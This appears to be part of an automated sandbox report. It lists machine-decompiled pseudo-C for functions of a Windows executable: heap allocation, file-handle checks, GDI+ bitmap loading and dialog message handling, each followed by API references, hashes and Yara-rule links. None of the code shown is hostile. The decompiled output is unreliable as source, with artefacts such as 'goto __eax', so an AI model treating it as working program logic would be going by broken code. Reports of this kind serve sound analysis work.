0x0110a7c2
0x0110a7c2
0x0110a7c7
0x0110a7d2
0x0110a7d7
0x0110a758
0x0110a75e
0x0110a763
0x0110a763
0x0110a7de
0x0110a7e9

APIs

__EH_prolog.LIBCMT ref: 0110A717

Part of subcall function 010F13B1: __EH_prolog.LIBCMT ref: 010F13B6
Part of subcall function 010F13B1: new.LIBCMT ref: 010F142F

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: d303993e0429eb3ae44062124755fff2d3010505cada0347c4abb38d4a9d0e18
Instruction ID: 76a0963f0f52b03131979611f012831a63e4c6a55ab6d5d266df0bf729cbef64
Opcode Fuzzy Hash: d303993e0429eb3ae44062124755fff2d3010505cada0347c4abb38d4a9d0e18
Instruction Fuzzy Hash: 1121AC71C0424AEECF1ADF99D9519EEBBB4BF28204F0044AEE80AA7241D7756E05CB60

Uniqueness

Uniqueness Score: -1.00%

Function 010F9283, Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E010F9283(void* __ebx, void* __edx, void* __edi, void* __eflags) {
				void* _t21;
				intOrPtr _t22;
				intOrPtr _t27;
				void* _t35;
				intOrPtr _t37;
				intOrPtr _t40;
				void* _t42;
				void* _t49;

				_t35 = __edx;
				E0110E0E4(0x1121d77, _t42);
				E010F7076(_t42 - 0x20, E010F7D9F());
				 *(_t42 - 4) =  *(_t42 - 4) & 0x00000000;
				_t40 = E010FC9AC( *((intOrPtr*)(_t42 + 8)),  *((intOrPtr*)(_t42 - 0x20)),  *((intOrPtr*)(_t42 - 0x1c)));
				if(_t40 > 0) {
					_t27 =  *((intOrPtr*)(_t42 + 0x10));
					_t37 =  *((intOrPtr*)(_t42 + 0xc));
					do {
						_t22 = _t40;
						asm("cdq");
						_t49 = _t35 - _t27;
						if(_t49 > 0 || _t49 >= 0 && _t22 >= _t37) {
							_t40 = _t37;
						}
						if(_t40 > 0) {
							E010FCB91( *((intOrPtr*)(_t42 + 8)), _t42,  *((intOrPtr*)(_t42 - 0x20)), _t40);
							asm("cdq");
							_t37 = _t37 - _t40;
							asm("sbb ebx, edx");
						}
						_t40 = E010FC9AC( *((intOrPtr*)(_t42 + 8)),  *((intOrPtr*)(_t42 - 0x20)),  *((intOrPtr*)(_t42 - 0x1c)));
					} while (_t40 > 0);
				}
				_t21 = E010F15D1(_t42 - 0x20); // executed
				 *[fs:0x0] =  *((intOrPtr*)(_t42 - 0xc));
				return _t21;
			}

0x010f9283
0x010f9288
0x010f929a
0x010f92a8
0x010f92b1
0x010f92b5
0x010f92b8
0x010f92bc
0x010f92bf
0x010f92bf
0x010f92c1
0x010f92c2
0x010f92c4
0x010f92cc
0x010f92cc
0x010f92d0
0x010f92d9
0x010f92e0
0x010f92e1
0x010f92e3
0x010f92e3
0x010f92f3
0x010f92f5
0x010f92fa
0x010f92fe
0x010f9307
0x010f9311

APIs

__EH_prolog.LIBCMT ref: 010F9288

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 206f113be7aca55a02b450ed1e36ad5e5225b9642fe38213d2f10c8be30d5f7b
Instruction ID: 86b13ea555ce0b4b6dc16a97a195a67626b3100faf109d6d8187d4f167dae314
Opcode Fuzzy Hash: 206f113be7aca55a02b450ed1e36ad5e5225b9642fe38213d2f10c8be30d5f7b
Instruction Fuzzy Hash: 7111A577E0052A97CF26AFA8CC92EEDB771BF98710F044559FE8577A50CA358D1086A0

Uniqueness

Uniqueness Score: -1.00%

Function 0110CF72, Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E0110CF72(void* __ecx, void* __eflags) {
				void* __ebx;
				intOrPtr _t18;
				char _t19;
				char _t20;
				void* _t23;
				void* _t24;
				void* _t26;
				void* _t37;
				void* _t43;
				intOrPtr _t45;

				_t26 = __ecx;
				E0110E0E4(0x1121ea8, _t43);
				_push(_t26);
				E0110E1C0();
				_push(_t24);
				 *((intOrPtr*)(_t43 - 0x10)) = _t45;
				E01115646(0x114386a, "X");
				E010FFDED(0x114588c, _t37, 0x11225b0);
				E01115646(0x114488a,  *((intOrPtr*)(_t43 + 0xc)));
				E010F5C29(0x113b578, _t37,  *((intOrPtr*)(_t43 + 0xc)));
				_t4 = _t43 - 4;
				 *(_t43 - 4) =  *(_t43 - 4) & 0x00000000;
				_t18 = 2;
				 *0x1142848 = _t18;
				 *0x1142844 = _t18;
				 *0x1142840 = _t18;
				_t19 =  *0x1137444; // 0x0
				 *0x11416cb = _t19;
				_t20 =  *0x1137445; // 0x0
				 *0x1141704 = 1;
				 *0x1141707 = 1;
				 *0x11416cc = _t20;
				E010F7C41(_t43 - 0x2108, _t37,  *_t4, 0x113b578);
				 *(_t43 - 4) = 1;
				E010F7DB8(_t43 - 0x2108, _t37,  *_t4);
				_t23 = E010F7CD4(_t24, _t43 - 0x2108, _t37); // executed
				 *[fs:0x0] =  *((intOrPtr*)(_t43 - 0xc));
				return _t23;
			}

0x0110cf72
0x0110cf77
0x0110cf7c
0x0110cf82
0x0110cf87
0x0110cf8a
0x0110cf97
0x0110cfa8
0x0110cfb5
0x0110cfc6
0x0110cfcb
0x0110cfcb
0x0110cfd7
0x0110cfd8
0x0110cfdd
0x0110cfe2
0x0110cfe7
0x0110cfec
0x0110cff1
0x0110cff7
0x0110cffe
0x0110d005
0x0110d00a
0x0110d015
0x0110d019
0x0110d024
0x0110d02e
0x0110d039

APIs

__EH_prolog.LIBCMT ref: 0110CF77

Part of subcall function 010F7C41: __EH_prolog.LIBCMT ref: 010F7C46
Part of subcall function 010F7C41: new.LIBCMT ref: 010F7C8B

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 53ade6c2fc56a42e1c7b4c461cca59d724bf83bcb35a6fe7956b114b90c72b04
Instruction ID: 3e5c1e4476af21da6651097959f578ef546d6c05dd395c4c7fd3cb0410205925
Opcode Fuzzy Hash: 53ade6c2fc56a42e1c7b4c461cca59d724bf83bcb35a6fe7956b114b90c72b04
Instruction Fuzzy Hash: 9011277A908245AFD72CEB59F801BDC7FE0EB35610F0040BEE16453285EBB115C0CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 010FA9C8, Relevance: 1.5, APIs: 1, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E010FA9C8(intOrPtr* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				void* __esi;
				intOrPtr _t12;
				intOrPtr _t13;
				intOrPtr _t15;
				intOrPtr _t16;
				intOrPtr* _t22;

				_push(__ecx);
				_t22 = __ecx;
				_t24 =  *((intOrPtr*)(__ecx + 8));
				if( *((intOrPtr*)(__ecx + 8)) == 0) {
					_t15 = E0110E0A0(__edx, __ecx, _t24, 0xb54); // executed
					_v8 = _t15;
					_t25 = _t15;
					if(_t15 == 0) {
						_t16 = 0;
						__eflags = 0;
					} else {
						_t16 = E010FA821(_t15, _t25);
					}
					 *((intOrPtr*)(_t22 + 8)) = _t16;
				}
				_t12 = _a4;
				 *_t22 = _t12;
				if(_t12 == 1) {
					 *(_t22 + 4) =  *(_t22 + 4) & 0x00000000;
				}
				if(_t12 == 2) {
					 *(_t22 + 4) =  *(_t22 + 4) | 0xffffffff;
				}
				if(_t12 == 3) {
					E010F599B( *((intOrPtr*)(_t22 + 8)));
				}
				_t13 = _a8;
				if(_t13 >= 8) {
					_t13 = 8;
				}
				 *((intOrPtr*)(_t22 + 0x10)) = _t13;
				return _t13;
			}

0x010fa9cb
0x010fa9cd
0x010fa9cf
0x010fa9d3
0x010fa9da
0x010fa9df
0x010fa9e3
0x010fa9e5
0x010fa9f0
0x010fa9f0
0x010fa9e7
0x010fa9e9
0x010fa9e9
0x010fa9f2
0x010fa9f2
0x010fa9f5
0x010fa9f8
0x010fa9fd
0x010fa9ff
0x010fa9ff
0x010faa06
0x010faa08
0x010faa08
0x010faa0f
0x010faa14
0x010faa14
0x010faa19
0x010faa1f
0x010faa23
0x010faa23
0x010faa24
0x010faa2b

APIs

new.LIBCMT ref: 010FA9DA

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9095faf342d1556563444916553eb39f6ef98b834b6236e064ca20c5c807cac4
Instruction ID: df069f16d87eac2117cbc47164f2cbac04900444408120ec18404cf6b23b00a9
Opcode Fuzzy Hash: 9095faf342d1556563444916553eb39f6ef98b834b6236e064ca20c5c807cac4
Instruction Fuzzy Hash: DDF0C831614706DFDB70DE69C8467567BD8EB01230F208E6ED6DDC3980D770D4888780

Uniqueness

Uniqueness Score: -1.00%

Function 01118398, Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E01118398(void* __ecx, long _a4) {
				void* __esi;
				void* _t4;
				void* _t6;
				void* _t7;
				void* _t8;
				long _t9;

				_t7 = __ecx;
				_t9 = _a4;
				if(_t9 > 0xffffffe0) {
					L7:
					 *((intOrPtr*)(E011187DA())) = 0xc;
					__eflags = 0;
					return 0;
				}
				if(_t9 == 0) {
					_t9 = _t9 + 1;
				}
				while(1) {
					_t4 = RtlAllocateHeap( *0x11506e4, 0, _t9); // executed
					if(_t4 != 0) {
						break;
					}
					__eflags = E01118214();
					if(__eflags == 0) {
						goto L7;
					}
					_t6 = E01116FF2(_t7, _t8, _t9, __eflags, _t9);
					_pop(_t7);
					__eflags = _t6;
					if(_t6 == 0) {
						goto L7;
					}
				}
				return _t4;
			}

0x01118398
0x0111839e
0x011183a4
0x011183d6
0x011183db
0x011183e1
0x00000000
0x011183e1
0x011183a8
0x011183aa
0x011183aa
0x011183c1
0x011183ca
0x011183d2
0x00000000
0x00000000
0x011183b2
0x011183b4
0x00000000
0x00000000
0x011183b7
0x011183bc
0x011183bd
0x011183bf
0x00000000
0x00000000
0x011183bf
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,01113866,?,0000015D,?,?,?,?,01114D42,000000FF,00000000,?,?), ref: 011183CA

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5fb09211cd39297b88f04a5a14797f7aa98fd4e2b5a964d0330745b8923d303e
Instruction ID: 735f9990420414baece283595fd312a02c244320ba0778ff2bb7a89935e8d361
Opcode Fuzzy Hash: 5fb09211cd39297b88f04a5a14797f7aa98fd4e2b5a964d0330745b8923d303e
Instruction Fuzzy Hash: BEE0E521518622A7E63D2E6E5C0475FFA48AF512A0F0DC231EC24A64ACEB60C80082E2

Uniqueness

Uniqueness Score: -1.00%

Function 010F5BA7, Relevance: 1.5, APIs: 1, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E010F5BA7(intOrPtr __ecx, void* __eflags) {
				intOrPtr _t25;
				intOrPtr _t34;
				void* _t36;

				_t25 = __ecx;
				E0110E0E4(0x1121bae, _t36);
				_push(_t25);
				_t34 = _t25;
				 *((intOrPtr*)(_t36 - 0x10)) = _t34;
				E010FAFBD(_t25); // executed
				_t2 = _t36 - 4;
				 *(_t36 - 4) =  *(_t36 - 4) & 0x00000000;
				E010FFDCB();
				 *(_t36 - 4) = 1;
				E010FFDCB();
				 *(_t36 - 4) = 2;
				E010FFDCB();
				 *(_t36 - 4) = 3;
				E010FFDCB();
				 *(_t36 - 4) = 4;
				E010FFDCB();
				 *(_t36 - 4) = 5;
				E010F5D9C(_t34,  *_t2);
				 *[fs:0x0] =  *((intOrPtr*)(_t36 - 0xc));
				return _t34;
			}

0x010f5ba7
0x010f5bac
0x010f5bb1
0x010f5bb3
0x010f5bb5
0x010f5bb8
0x010f5bbd
0x010f5bbd
0x010f5bc7
0x010f5bd2
0x010f5bd6
0x010f5be1
0x010f5be5
0x010f5bf0
0x010f5bf4
0x010f5bff
0x010f5c03
0x010f5c0a
0x010f5c0e
0x010f5c19
0x010f5c23

APIs

__EH_prolog.LIBCMT ref: 010F5BAC

Part of subcall function 010FAFBD: __EH_prolog.LIBCMT ref: 010FAFC2

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 2dfa8f48882004de72b701990001543f0fbacd549cc688f6ce40e4dc3aa55a90
Instruction ID: 5eead486c6279b8caec0cb55cbe6cb933e9e726ab8209e6335b9e8c1c131ab10
Opcode Fuzzy Hash: 2dfa8f48882004de72b701990001543f0fbacd549cc688f6ce40e4dc3aa55a90
Instruction Fuzzy Hash: BF01FF31A026A6DAC719F7B8C2053EDBBF49F39305F40448E95AA136D1CBB82B04C763

Uniqueness

Uniqueness Score: -1.00%

Function 010F9670, Relevance: 1.5, APIs: 1, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E010F9670(void* __ecx) {
				void* _t16;
				void* _t21;

				_t21 = __ecx;
				_t16 = 1;
				if( *(__ecx + 4) != 0xffffffff) {
					if( *((char*)(__ecx + 0x10)) == 0 &&  *((intOrPtr*)(__ecx + 0xc)) == 0) {
						_t5 = FindCloseChangeNotification( *(__ecx + 4)) - 1; // -1
						asm("sbb bl, bl");
						_t16 =  ~_t5 + 1;
					}
					 *(_t21 + 4) =  *(_t21 + 4) | 0xffffffff;
				}
				 *(_t21 + 0xc) =  *(_t21 + 0xc) & 0x00000000;
				if(_t16 == 0 &&  *((intOrPtr*)(_t21 + 0x14)) != _t16) {
					E010F6DD3(0x112ff50, _t21 + 0x1e);
				}
				return _t16;
			}

0x010f9672
0x010f9674
0x010f967a
0x010f9680
0x010f9691
0x010f9696
0x010f9698
0x010f9698
0x010f969a
0x010f969a
0x010f969e
0x010f96a4
0x010f96b4
0x010f96b4
0x010f96bd

APIs

FindCloseChangeNotification.KERNELBASE(000000FF,?,?,010F9624), ref: 010F968B

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: d2c0e96f10a5d5390b5a68329465e78a03b44407751c2a73561d0ef455df69ed
Instruction ID: f82ec776f8383706568f056fea37d993d07ef2311707506db11292ae3de6059c
Opcode Fuzzy Hash: d2c0e96f10a5d5390b5a68329465e78a03b44407751c2a73561d0ef455df69ed
Instruction Fuzzy Hash: FDF0E230482B118EEB318B28C54A792B7E4AB06639F048B5EE2F643CE0D371608DCF40

Uniqueness

Uniqueness Score: -1.00%

Function 010FA406, Relevance: 1.5, APIs: 1, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E010FA406(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				void* _t12;
				intOrPtr _t20;

				_t20 = _a8;
				 *((char*)(_t20 + 0x1044)) = 0;
				if(E010FB865(_a4) == 0) {
					_t12 = E010FA534(__edx, 0xffffffff, _a4, _t20);
					if(_t12 == 0xffffffff) {
						goto L1;
					}
					FindClose(_t12); // executed
					 *(_t20 + 0x1040) =  *(_t20 + 0x1040) & 0x00000000;
					 *((char*)(_t20 + 0x100c)) = E010FA122( *((intOrPtr*)(_t20 + 0x1008)));
					 *((char*)(_t20 + 0x100d)) = E010FA13A( *((intOrPtr*)(_t20 + 0x1008)));
					return 1;
				}
				L1:
				return 0;
			}

0x010fa407
0x010fa40f
0x010fa41d
0x010fa42a
0x010fa432
0x00000000
0x00000000
0x010fa435
0x010fa441
0x010fa453
0x010fa45e
0x00000000
0x010fa464
0x010fa41f
0x00000000

APIs

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 010FA435

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 096dde199f1e7b6af623f2b86fe4a13f9c47032c49ebbe496fe9857c8b182468
Instruction ID: 8a43008b8c72f51073010e54c54a592202e93f87ef38dbcbc46b3486e2b8bb3c
Opcode Fuzzy Hash: 096dde199f1e7b6af623f2b86fe4a13f9c47032c49ebbe496fe9857c8b182468
Instruction Fuzzy Hash: D2F0E931009380EACA321B7888097DABFE16F55371F04CA4DE3FD03191C6756095CB21

Uniqueness

Uniqueness Score: -1.00%

Function 011005DA, Relevance: 1.5, APIs: 1, Instructions: 21
threadCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E011005DA() {
				void* __esi;
				void* _t2;

				L011012A7(); // executed
				_t2 = E011012AC();
				if(_t2 != 0) {
					_t2 = E010F6E21(_t2, 0x112ff50, 0xff, 0xff);
				}
				if( *0x112ff5b != 0) {
					_t2 = E010F6E21(_t2, 0x112ff50, 0xff, 0xff);
				}
				__imp__SetThreadExecutionState(1);
				return _t2;
			}

0x011005dc
0x011005e1
0x011005f2
0x011005f7
0x011005f7
0x01100603
0x01100608
0x01100608
0x0110060f
0x01100617

APIs

SetThreadExecutionState.KERNEL32(00000001), ref: 0110060F

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: 81d05f59ab82041f7a5e437ce97d8d795e78f4ed228d90b1b447e7c3b5abb206
Instruction ID: 8f32d5d229669b92d32488a3142b965fdc21ca5a97b037afa7d4c76b0e1216cf
Opcode Fuzzy Hash: 81d05f59ab82041f7a5e437ce97d8d795e78f4ed228d90b1b447e7c3b5abb206
Instruction Fuzzy Hash: B6D0C223E0001332DA2E3A687808BFE1E1B4FC7310F180029E308A61C1CF8A048282A6

Uniqueness

Uniqueness Score: -1.00%

Function 01109D2F, Relevance: 1.5, APIs: 1, Instructions: 17
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E01109D2F(signed int __eax, void* __ecx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				void* _t6;

				_push(__ecx);
				_push(0x10);
				L0110E06A();
				_v8 = __eax;
				if(__eax == 0) {
					return 0;
				}
				_t6 = E01109A7F(__eax, _a4, _a8); // executed
				return _t6;
			}

0x01109d32
0x01109d33
0x01109d35
0x01109d3a
0x01109d3f
0x00000000
0x01109d50
0x01109d49
0x00000000

APIs

GdipAlloc.GDIPLUS(00000010), ref: 01109D35

Part of subcall function 01109A7F: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 01109AA0

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: e13b48070a70aae3dd87dac9b967e8d4079dc715caa04fc070f3b589795e5392
Instruction ID: a2f4f63124068bcb99be932025ed67a4dd3e1650dc5b443854587fd4172d8b7a
Opcode Fuzzy Hash: e13b48070a70aae3dd87dac9b967e8d4079dc715caa04fc070f3b589795e5392
Instruction Fuzzy Hash: 3CD0A730B4010DBADF4AEA65CC21B7DBB98EB10304F008175AD0D951D1EFF2DD109761

Uniqueness

Uniqueness Score: -1.00%

Function 010F9929, Relevance: 1.5, APIs: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E010F9929(void* __ecx) {
				long _t3;

				if( *(__ecx + 4) != 0xffffffff) {
					_t3 = GetFileType( *(__ecx + 4)); // executed
					if(_t3 == 2 || _t3 == 3) {
						return 1;
					} else {
						return 0;
					}
				} else {
					return 0;
				}
			}

0x010f992d
0x010f9935
0x010f993e
0x010f994b
0x010f9945
0x010f9947
0x010f9947
0x010f992f
0x010f9931
0x010f9931

APIs

GetFileType.KERNELBASE(000000FF,010F9827), ref: 010F9935

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 8cd7fa84da6ace2d7879a3d81b4b12ccc4aac86314810634aff35f0667b7cb53
Instruction ID: a23bab2bc60a7713647e67afb0e429a25446fb8a63da2b16a90720382ceb15f3
Opcode Fuzzy Hash: 8cd7fa84da6ace2d7879a3d81b4b12ccc4aac86314810634aff35f0667b7cb53
Instruction Fuzzy Hash: 93D01231015142A58FBA8A3C494A59A6A929B4327EB39C7E8F2A5C44A5C732C443F541

Uniqueness

Uniqueness Score: -1.00%

Function 0110D270, Relevance: 1.5, APIs: 1, Instructions: 13
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0110D270(intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
				void* _t7;

				SendDlgItemMessageW( *0x1137438, 0x6a, 0x402, E010FFA2C(_a20, _a24, _a28, _a32), 0); // executed
				_t7 = E0110ABC4(); // executed
				return _t7;
			}

0x0110d295
0x0110d29b
0x0110d2a0

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,?,?), ref: 0110D295

Part of subcall function 0110ABC4: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0110ABD5
Part of subcall function 0110ABC4: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0110ABE6
Part of subcall function 0110ABC4: IsDialogMessageW.USER32(001F0210,?), ref: 0110ABFA
Part of subcall function 0110ABC4: TranslateMessage.USER32(?), ref: 0110AC08
Part of subcall function 0110ABC4: DispatchMessageW.USER32(?), ref: 0110AC12

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: 51d4627790bd32f25bc9ff9c10ae89135357b20f4b5508144a6bb2db78167008
Instruction ID: 76defd858617fc201af78966af25f0016c2805f503ece6b15dca7342f9e813e6
Opcode Fuzzy Hash: 51d4627790bd32f25bc9ff9c10ae89135357b20f4b5508144a6bb2db78167008
Instruction Fuzzy Hash: F4D09E72244301BAD6162B51DE06F4A7AA7BF98B04F404554B345740E5C6629E70AB16

Uniqueness

Uniqueness Score: -1.00%

Function 0110D925, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0110D925() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0110DDAF(_t3, _t4, _t8, _t9, _t10, 0x112adc4, 0x115104c); // executed
				goto __eax;
			}

